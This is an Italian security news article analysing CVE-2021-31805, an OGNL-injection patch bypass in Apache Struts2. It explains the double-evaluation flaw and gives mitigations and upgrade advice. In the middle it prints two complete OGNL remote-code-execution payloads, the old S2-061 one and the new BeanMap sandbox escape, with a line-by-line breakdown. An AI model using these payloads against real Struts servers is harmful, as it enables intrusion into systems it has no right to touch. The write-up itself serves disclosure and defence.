Red Hot Cyber
Sicurezza Informatica, Notizie su Cybercrime e Analisi Vulnerabilità

Apache Struts2: nuova RCE di bypass della patch. Scopriamo la PoC.

13 Aprile 2022 22:29

Chi si ricorda la massiccia violazione informatica di Equifax del 2017?

Un databreach colossale di 148 milioni di record personali e di carte di credito di americani, realizzata utilizzando una famosa deserialization del framework Apache Struts2.

Struts è un framework di sviluppo di applicazioni open source, utilizzato dagli sviluppatori Web Java per la creazione di app Model-View-Controller (MVC). Struts era molto in voga qualche anno fa e ha prodotto centinaia di migliaia di applicazioni in tutto il mondo e anche molti incidenti di sicurezza informatica, derivanti a molti bug di sicurezza di severity critical.

Una nuova Remote Code Execution

Apache, ha corretto una nuova vulnerabilità critica nel suo popolare progetto Struts che in precedenza si credeva fosse stata risolta.

Infatti, la Cybersecurity and Infrastructure Security Agency (CISA) sta esortando gli utenti e gli amministratori a eseguire l’aggiornamento alle versioni più recenti di Struts 2.

Il difetto è l’ennesima Remote Code Execution (RCE), dove si stanno esortando le organizzazioni a eseguire l’aggiornamento a Struts2 versione 2.5.30 (o successiva) che risolve la vulnerabilità critica di OGNL Injection.

Rilevata come CVE-2021-31805, la vulnerabilità critica esiste nelle versioni Struts 2 dalla 2.0.0 fino alla 2.5.29 inclusa. La vulnerabilità deriva da una correzione incompleta alla CVE-2020-17530, anch’esso un bug di OGNL Injection, con un livello di gravità di 9,8 (critico).

Cos’è Object-Graph Navigation Language e la vecchia RCE

Object-Graph Navigation Language (OGNL) è un linguaggio di espressione (EL) open source realizzato per Java, che semplifica le espressioni utilizzate nel linguaggio di programmazione. OGNL consente agli sviluppatori di lavorare con gli array molto facilmente. Tuttavia, l’analisi delle espressioni OGNL sulla base di input utente non attendibile o non elaborato, può essere problematico dal punto di vista della sicurezza.

Già nel 2020, i ricercatori Alvaro Munoz di GitHub e Masato Anzai di Aeye Security Lab avevano segnalato un difetto nelle versioni Struts2 2.0.0 – 2.5.25, in determinate circostanze.

“Alcuni degli attributi del tag potrebbero eseguire una valutazione OGNL forzata, utilizzando la sintassi %{…}”

afferma l’avviso per la CVE-2020-17530.

“L’utilizzo della valutazione OGNL forzata sull’input di un utente non attendibile, può portare a un’esecuzione di codice in remoto”.

Sebbene Apache avesse risolto il bug del 2020 in Struts 2.5.26, il ricercatore Chris McCown ha successivamente scoperto il bypass della patch. McCown ha riportato responsabilmente ad Apache che il problema della “doppia valutazione” poteva ancora essere riprodotto nelle versioni Struts 2.5.26 e successive, di fatto assicurandosi la nuova CVE-2021-31805.

Uno sguardo allo sfruttamento della RCE

Struts2 esegue la valutazione OGNL su vari attributi degli elementi .jsp. Gli sviluppatori definiscono il valore di un attributo con la sintassi “%{}” per rendere dinamica quella pagina e inserire i parametri dell’URL. Ad esempio, se desideri passare il parametro URL ‘skillName’ a una pagina, procedi come segue:
https://<dominio>/?skillName=abctest

<s:url action="list" namespace="/employee" var="url">
<s:a href="%{url}" id="%{skillName}">List available Employees</s:a>
</s:url>

Il codice sul backend esegue una singola valutazione OGNL per recuperare gli input passati dai parametri GET. O almeno è così che dovrebbe funzionare. Esiste una vulnerabilità quando quel valore definito dall’utente finisce per ricevere la valutazione OGNL eseguita due volte. 

Se si utilizzava un tag di ancoraggio definito nella jsp simile al seguente e si passava un valore idVal=%{3*3} l’input avrebbe portato ad una doppia valutazione OGNL

//example<s:a id="%{idVal}"/>//result<s:a id="9"/>

La correzione per questo problema è riportata qua. Il nucleo della correzione era incentrato sulla classe UIBean. 

Una delle due valutazioni OGNL si è verificata nella funzione setId, quando ha chiamato findString(id) ed è stato aggiunto un controllo di ricorsione per non valutare OGNL quando il parametro name conteneva “%{” o “}”.  

La nuova escape della Remote Code Execution (RCE)

Struts2 definisce le classi e i pacchetti esclusi nel file struts-default.xml. Questi erano i pacchetti aggiuntivi aggiunti all’elenco dei blocchi in 2.5.26.

 Oltre a tutte queste restrizioni relative a classi/pacchetti, le regole sandbox OGNL includono:

  • Non è possibile chiamare un metodo statico
  • Non è possibile utilizzare meccanismi di reflaction 
  • Non è possibile creare un nuovo oggetto 

Anche dopo essere sfuggiti alla lista nera non puoi chiamare direttamente il Runtime. Ciò rende le cose molto difficili perché questa sandbox è diventata continuamente più sicura ad ogni iterazione e ha ridotto l’enorme panorama di possibili exploit RCE. 

Ma ci sono ancora alcune possibilità inesplorate. Se cerchi la PoC per S2-061 probabilmente ti verrà in mente quanto segue:

%{
(#application.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + 
(#application.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + 
(#application.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +
(#application.map2.setBean(#application.get('map').get('context')) == true).toString().substring(0,0) + 
(#application.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + 
(#application.map3.setBean(#application.get('map2').get('memberAccess')) == true).toString().substring(0,0) + 
(#application.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + 
(#application.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'}))
}

Questo valuta efficacemente:

//Place valuestack in a beanmap map
application.map = org.apache.tomcat.InstanceManager().newInstance('org.apache.commons.collecitons.BeanMap');
application.map.setBean(#request.get('struts.valueStack'));

//grab the context variable from valuestack and place in beanmap map2
application.map2 = org.apache.tomcat.InstanceManager().newInstance('org.apache.commons.collecitons.BeanMap');
application.map2.setBean(#application.get('map').get('context'));

//grab the memberaccess variable from context variable and place in beanmap map3
application.map3 = org.apache.tomcat.InstanceManager().newInstance('org.apache.commons.collecitons.BeanMap');
application.map3.setBean(#application.get('map2').get('memberAccess'));

//clear block lists found in memberaccess, by creating empty lists in their place. 
application.get('map3').put(excludedPackageNames', new HashSet());
application.get('map3').put(excludedClasses', new HashSet());

//break out of sandbox restrictions and now execute calc.exe
application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'}));

Quando OGNL viene valutato in Struts2, ha nel suo contesto la mappatura di alcuni valori predefiniti che mappano agli oggetti. Alcuni di questi includono ‘#application’, ‘#request’, ‘#attr’, per esempio. 

Quindi, quando chiami %{#application.toString()} stai invocando quell’oggetto e la sua funzione toString. Ci sono alcuni ricercatori di grande talento che hanno scoperto che puoi aggirare in punta di piedi le restrizioni sandbox OGNL/Struts usando 

#application.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')

Per creare una BeanMap e utilizzare le relative funzioni setBean e put per cancellare i nomiExcludedPackageName e le classi escluse e quindi annullare le restrizioni sandbox. 

È fantastico, ma le nuove restrizioni sandbox bloccano l’uso di org.apache.tomcat.*

Bypassare le restrizioni sandbox S2-061

Dopo aver cercato di utilizzare strumentidii callgraph come software-forensic-kit, debugger e leggere il codice riga per riga, il ricercatore stavas iniziando a pensare che non fosse più possibile. 

Aveva trovato numerosi modi per raccogliere informazioni interessanti tramite exploit o per causare strani comportamenti dell’interfaccia utente sulle funzioni di ritorno ma non era ancora riuscito ad uscire dalla sandbox.

Alla fine, utilizzando un modo completamente differente di analisi, ha notato la sezione su “Maps”. 

Si rese conto che poteva creare una mappa della propria classe. 

Quindi https://<dominio>/?skillName=#@java.util.LinkedHashMap@{“foo”:”value”} crea un oggetto LinkedHashMap e lo popola con “foo”:”value”. 

Poteva creare anche un oggetto BeanMap. Pertanto il metodo precedente per ottenere una BeanMap era:

#application.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap') 

Ora poteva riuscire a farlo semplicemente usando: 

#@org.apache.commons.collections.BeanMap@{}

Non ci sono restrizioni sandbox per l’utilizzo di org.apache.commons.collections.BeanMap, quindi creandolo direttamente, utilizzando la speciale sintassi OGNL si ignorano tutte le precedenti restrizioni sandbox. 

Applicando quel concetto e rimuovendo “%{” “}” al POC precedente, il nuovo RCE completo che potesse eseguire la famosa “calc.exe” era diventato il seguente:

(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +
(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +
(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'}))
La PoC in esecuzione

Mitigazioni

Questi elementi UIBean eseguono una seconda valutazione OGNL sull’attributo “name” perché un attributo “value” non esiste e sta cercando di riempire quell’attributo. Quindi, dando a tutti i tuoi attributi un valore vuoto=”” questo aiuterà a mitigare questo problema. (es: <s:label name=”%{skillName}” value=”” />

L’aggiunta di org.apache.commons.collection.BeanMap all’elenco delle classi escluse della sandbox Struts2 ne escluderebbe l’uso diretto e quindi l’utilizzo della PoC.

Si consiglia agli utenti di eseguire l’aggiornamento a Struts 2.5.30 o versioni successive e di evitare di utilizzare la valutazione OGNL negli attributi del tag. Inoltre, Apache consiglia di seguire la sua guida per applicare le migliori pratiche di sicurezza.

Lista delle CVE con severity Critical > 10 su Struts2

Noi aggiungiamo, visto che Struts2 è un framework con ricorrenti problematiche di sicurezza (come visto nell’immagine precedente), consigliamo sempre un replatforming applicativo.

Fonte

https://mc0wn.blogspot.com/2021/04/exploiting-struts-rce-on-2526.html

Ti è piaciuto questo articolo? Ne stiamo discutendo nella nostra Community su LinkedIn, Facebook e Instagram. Seguici anche su Google News, per ricevere aggiornamenti quotidiani sulla sicurezza informatica o Scrivici se desideri segnalarci notizie, approfondimenti o contributi da pubblicare.

Agostino Pellegrino 300x300
E’ un libero professionista, insegnante e perito di informatica Forense, Cyber Security ed Ethical Hacking e Network Management. Ha collaborato con importanti istituti di formazione a livello internazionale e ha esercitato teaching e tutorship in tecniche avanzate di Offensive Security per la NATO ottenendo importanti riconoscimenti dal Governo degli Stati Uniti. Il suo motto è “Studio. Sempre”.
Aree di competenza: Cybersecurity architecture, Threat intelligence, Digital forensics, Offensive security, Incident response & SOAR, Malware analysis, Compliance & frameworks

Articoli in evidenza

Immagine del sitoCybercrime
Campagna di phishing su Signal in Europa: sospetto coinvolgimento di attori statali
Bajram Zeqiri - 07/02/2026

Le autorità tedesche hanno recentemente lanciato un avviso riguardante una sofisticata campagna di phishing che prende di mira gli utenti di Signal in Germania e nel resto d’Europa. L’attacco si concentra su profili specifici, tra…

Immagine del sitoInnovazione
Robot in cerca di carne: Quando l’AI affitta periferiche. Il tuo corpo!
Silvia Felici - 06/02/2026

L’evoluzione dell’Intelligenza Artificiale ha superato una nuova, inquietante frontiera. Se fino a ieri parlavamo di algoritmi confinati dietro uno schermo, oggi ci troviamo di fronte al concetto di “Meatspace Layer”: un’infrastruttura dove le macchine non…

Immagine del sitoCybercrime
DKnife: il framework di spionaggio Cinese che manipola le reti
Pietro Melillo - 06/02/2026

Negli ultimi anni, la sicurezza delle reti ha affrontato minacce sempre più sofisticate, capaci di aggirare le difese tradizionali e di penetrare negli strati più profondi delle infrastrutture. Un’analisi recente ha portato alla luce uno…

Immagine del sitoVulnerabilità
Così tante vulnerabilità in n8n tutti in questo momento. Cosa sta succedendo?
Agostino Pellegrino - 06/02/2026

Negli ultimi tempi, la piattaforma di automazione n8n sta affrontando una serie crescente di bug di sicurezza. n8n è una piattaforma di automazione che trasforma task complessi in operazioni semplici e veloci. Con pochi click…

Immagine del sitoInnovazione
L’IA va in orbita: Qwen 3, Starcloud e l’ascesa del calcolo spaziale
Sergio Corpettini - 06/02/2026

Articolo scritto con la collaborazione di Giovanni Pollola. Per anni, “IA a bordo dei satelliti” serviva soprattutto a “ripulire” i dati: meno rumore nelle immagini e nei dati acquisiti attraverso i vari payload multisensoriali, meno…